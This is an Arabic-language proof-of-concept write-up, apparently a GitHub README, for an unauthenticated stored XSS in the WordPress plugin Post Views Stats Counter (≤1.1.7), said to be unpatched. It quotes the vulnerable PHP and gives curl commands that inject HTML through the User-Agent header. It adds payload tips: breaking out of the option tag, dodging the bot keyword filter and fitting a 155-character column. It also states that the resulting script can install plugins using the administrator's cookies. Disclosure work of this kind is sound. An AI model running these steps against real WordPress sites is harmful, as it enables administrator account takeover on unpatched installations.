
إثبات مفهوم لـ CVE-2026-97347، وهو XSS مخزّن غير مصادَق عليه في إضافة Post Views Stats Counter لـ WordPress عبر ترويسة User-Agent، مع خطوات إعادة الإنتاج.
| الإضافة | Post Views Stats Counter |
| الإصدار المتأثر | ≤ 1.1.7 |
| فئة الخطأ | XSS مخزّنة بدون مصادقة |
| نقطة الدخول | ترويسة HTTP User-Agent |
| نقطة التأثير | صفحة إحصاءات المسؤول (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 عالية |
| الحالة | غير مُصلحة عند الإفصاح، ولا توجد إصدارات مُصلحة معروفة حتى الآن |
| الباحث | Nawaf Althurwi |
تسجّل الإضافة كل مشاهدة صفحة، بما في ذلك ترويسة User-Agent الخاصة بالزائر، في جدول مخصّص (wp_pvs_counter). وهنا حيث تلتقط الترويسة — دون أي تنقية في أي مكان على طول المسار:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
الدفاع الوحيد عند الدخول هو مرشّح بوتات، وهو مجرد قائمة حظر نصية فرعية:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
القائمة الافتراضية هي bot وspider وcrawler. أي شيء لا يحتوي على تلك السلاسل الفرعية يُخزَّن. هذا هو الفلتر بأكمله.
على جانب الإخراج، تبني صفحة الإدارة قائمة منسدلة من "وكلاء المستخدم المسجّلين" وتطبع القيمة المخزّنة خامًا داخل وسم <option> — إذ يحمي esc_attr() سمة value لكن التسمية المرئية هي مجرد echo عادي:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
لذا فإن طلبًا غير مُصادَق عليه يحتوي على HTML في ترويسة User-Agent ينتهي به المطاف بالتنفيذ في متصفح المسؤول في المرة التالية التي يفتح فيها صفحة إحصائيات الإضافة. XSS مخزَّن كلاسيكي، دون مصادقة، ودون أي تفاعل من الضحية يتجاوز عرض لوحة التحكم الخاصة به.
ثمة قيد آخر يجدر معرفته: عمود useragent من النوع varchar(155)، لذا يجب أن يبقى الحمولة (payload) أقل من 155 حرفًا.
أي رابط مسجَّل يعمل — الصفحة الرئيسية /?p=1 مناسبة. استبدل TARGET بمضيف WordPress وYOUR_PAYLOAD بما تريد تشغيله في جلسة المسؤول:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
ملاحظات حول شكل الحمولة:
</option></select> يُخرج القيمة من ترميز القائمة المنسدلة — فهو ليس زخرفة، فبدونه يبقى الحقن محتجزًا داخل وسم <option>.bot/spider/crawler (دون تمييز لحالة الأحرف) وإلا فسيُصفّى الطلب باعتباره بوتًا قبل وصوله إلى قاعدة البيانات.alert()، فاستخدم   بدلًا منها — فبعض عملاء HTTP يشوّهون المسافات في قيم الترويسات.السطر الواحد الذي استخدمته في مختبري:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

مجرد curl عادي. تعني HTTP 200 أن المشاهدة تم احتسابها وأن الترويسة دخلت إلى قاعدة البيانات.
افتح Settings → Post Views Stats Counter بصفتك المدير (أو ما عليك سوى التحديث إذا كانت مفتوحة بالفعل). تُعرض الحمولة كجزء من قائمة أداة الإحصاءات ويُطلق onerror:

S:C — يعمل XSS على wp-admin، لذا يمكنه استدعاء نقاط نهاية admin-ajax وتثبيت الإضافات باستخدام ملفات تعريف ارتباط المدير)
جودة أعلى إذا أردت التمرير/الإيقاف المؤقت: exploit-vid.mp4
تم الاختبار على الإصدار 1.1.7 على WordPress 6.x في مختبر Docker محلي. دون مصادقة، ودون أي تفاعل من المستخدم يتجاوز فتح صفحة الإحصاءات.